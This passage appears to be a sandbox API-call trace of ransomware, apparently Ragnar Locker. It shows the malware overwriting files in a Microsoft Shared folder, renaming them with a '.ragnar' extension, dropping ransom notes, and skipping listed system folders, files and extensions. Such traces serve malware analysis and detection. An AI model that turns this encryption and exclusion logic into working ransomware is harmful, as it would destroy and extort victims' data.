Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its")) returned 0x20 [0077.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0077.796] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1469358) returned 1 [0077.796] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x166ba5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.796] GetProcessHeap () returned 0x580000 [0077.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.796] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.798] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x22c0000 [0077.798] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.798] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.798] ReadFile (in: hFile=0x108, lpBuffer=0x22c0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesRead=0x1ea45c*=0x100000, lpOverlapped=0x0) returned 1 [0077.819] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.825] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x100000, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.825] WriteFile (in: hFile=0x108, lpBuffer=0x22c0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesWritten=0x1ea458*=0x100000, lpOverlapped=0x0) returned 1 [0077.828] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x100000, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.828] VirtualFree (lpAddress=0x22c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.832] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x166bae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.832] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.832] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.833] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.833] WriteFile (in: hFile=0x108, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.833] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.833] GetProcessHeap () returned 0x580000 [0077.833] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.833] CloseHandle (hObject=0x108) returned 1 [0077.833] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" [0077.833] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.ragnar_FD7BD9FC" [0077.833] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.834] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809d0760, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x809d0760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.834] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.834] lstrcpyW (in: lpString1=0x1eab6a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0077.834] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\RGNR_FD7BD9FC.txt") returned=".txt" [0077.834] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0077.834] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809d0760, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x809d0760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0077.834] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.834] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0077.834] lstrcmpiW (lpString1="FREN", lpString2=".") returned 1 [0077.834] lstrcmpiW (lpString1="FREN", lpString2="..") returned 1 [0077.834] lstrcmpiW (lpString1="FREN", lpString2="Windows") returned -1 [0077.834] lstrcmpiW (lpString1="FREN", lpString2="Windows.old") returned -1 [0077.834] lstrcmpiW (lpString1="FREN", lpString2="Tor browser") returned -1 [0077.834] lstrcmpiW (lpString1="FREN", lpString2="Internet Explorer") returned -1 [0077.834] lstrcmpiW (lpString1="FREN", lpString2="Google") returned -1 [0077.834] lstrcmpiW (lpString1="FREN", lpString2="Opera") returned -1 [0077.834] lstrcmpiW (lpString1="FREN", lpString2="Opera Software") returned -1 [0077.834] lstrcmpiW (lpString1="FREN", lpString2="Mozilla") returned -1 [0077.834] lstrcmpiW (lpString1="FREN", lpString2="Mozilla Firefox") returned -1 [0077.834] lstrcmpiW (lpString1="FREN", lpString2="$Recycle.Bin") returned 1 [0077.834] lstrcmpiW (lpString1="FREN", lpString2="ProgramData") returned -1 [0077.834] lstrcmpiW (lpString1="FREN", lpString2="All Users") returned 1 [0077.834] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0077.834] lstrcpyW (in: lpString1=0x1eb638, lpString2="FREN" | out: lpString1="FREN") returned="FREN" [0077.834] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\" [0077.834] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\" [0077.834] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\RGNR_FD7BD9FC.txt" [0077.835] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0077.862] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*" [0077.862] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.862] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.862] lstrcpyW (in: lpString1=0x1ea756, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.862] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80a68ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80a68ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.862] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0077.862] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80a68ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80a68ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.862] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0077.862] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0077.862] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0077.862] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2=".") returned 1 [0077.862] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="..") returned 1 [0077.862] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0077.862] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2=".") returned 1 [0077.862] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="..") returned 1 [0077.862] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a68ce0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80a68ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.862] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0077.862] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0077.862] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0077.862] lstrcmpiW (lpString1="WT61FR.LEX", lpString2=".") returned 1 [0077.863] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="..") returned 1 [0077.863] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0077.863] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.863] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80a68ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80a68ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.863] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80a68ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80a68ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.863] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0077.863] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.863] lstrcpyW (in: lpString1=0x1eab6a, lpString2="MSB1FREN.DLL" | out: lpString1="MSB1FREN.DLL") returned="MSB1FREN.DLL" [0077.863] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL") returned=".DLL" [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="autorun.inf") returned 1 [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="boot.ini") returned 1 [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="bootfont.bin") returned 1 [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="bootsect.bak") returned 1 [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="bootmgr") returned 1 [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="bootmgr.efi") returned 1 [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="bootmgfw.efi") returned 1 [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="desktop.ini") returned 1 [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="iconcache.db") returned 1 [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="ntldr") returned -1 [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="ntuser.dat") returned -1 [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="ntuser.dat.log") returned -1 [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="ntuser.ini") returned -1 [0077.863] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="thumbs.db") returned -1 [0077.863] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0077.863] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0077.863] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0077.863] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0077.863] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.863] lstrcpyW (in: lpString1=0x1eab6a, lpString2="MSB1FREN.ITS" | out: lpString1="MSB1FREN.ITS") returned="MSB1FREN.ITS" [0077.863] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS") returned=".ITS" [0077.863] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0077.864] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="autorun.inf") returned 1 [0077.864] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="boot.ini") returned 1 [0077.864] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="bootfont.bin") returned 1 [0077.864] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="bootsect.bak") returned 1 [0077.864] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="bootmgr") returned 1 [0077.864] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="bootmgr.efi") returned 1 [0077.864] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="bootmgfw.efi") returned 1 [0077.864] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="desktop.ini") returned 1 [0077.864] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="iconcache.db") returned 1 [0077.864] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="ntldr") returned -1 [0077.864] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="ntuser.dat") returned -1 [0077.864] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="ntuser.dat.log") returned -1 [0077.864] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="ntuser.ini") returned -1 [0077.864] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="thumbs.db") returned -1 [0077.864] lstrcmpiW (lpString1=".ITS", lpString2=".db") returned 1 [0077.864] lstrcmpiW (lpString1=".ITS", lpString2=".sys") returned -1 [0077.864] lstrcmpiW (lpString1=".ITS", lpString2=".dll") returned 1 [0077.864] lstrcmpiW (lpString1=".ITS", lpString2=".lnk") returned -1 [0077.864] lstrcmpiW (lpString1=".ITS", lpString2=".msi") returned -1 [0077.864] lstrcmpiW (lpString1=".ITS", lpString2=".drv") returned 1 [0077.864] lstrcmpiW (lpString1=".ITS", lpString2=".exe") returned 1 [0077.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its")) returned 0x20 [0077.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0077.864] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=840364) returned 1 [0077.864] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xcd2a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.865] GetProcessHeap () returned 0x580000 [0077.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.865] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.866] VirtualAlloc (lpAddress=0x0, dwSize=0xcd2ac, flAllocationType=0x3000, flProtect=0x4) returned 0x22c0000 [0077.866] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.866] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.866] ReadFile (in: hFile=0x100, lpBuffer=0x22c0000, nNumberOfBytesToRead=0xcd2ac, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesRead=0x1ea45c*=0xcd2ac, lpOverlapped=0x0) returned 1 [0077.884] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.888] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcd2ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.888] WriteFile (in: hFile=0x100, lpBuffer=0x22c0000*, nNumberOfBytesToWrite=0xcd2ac, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: 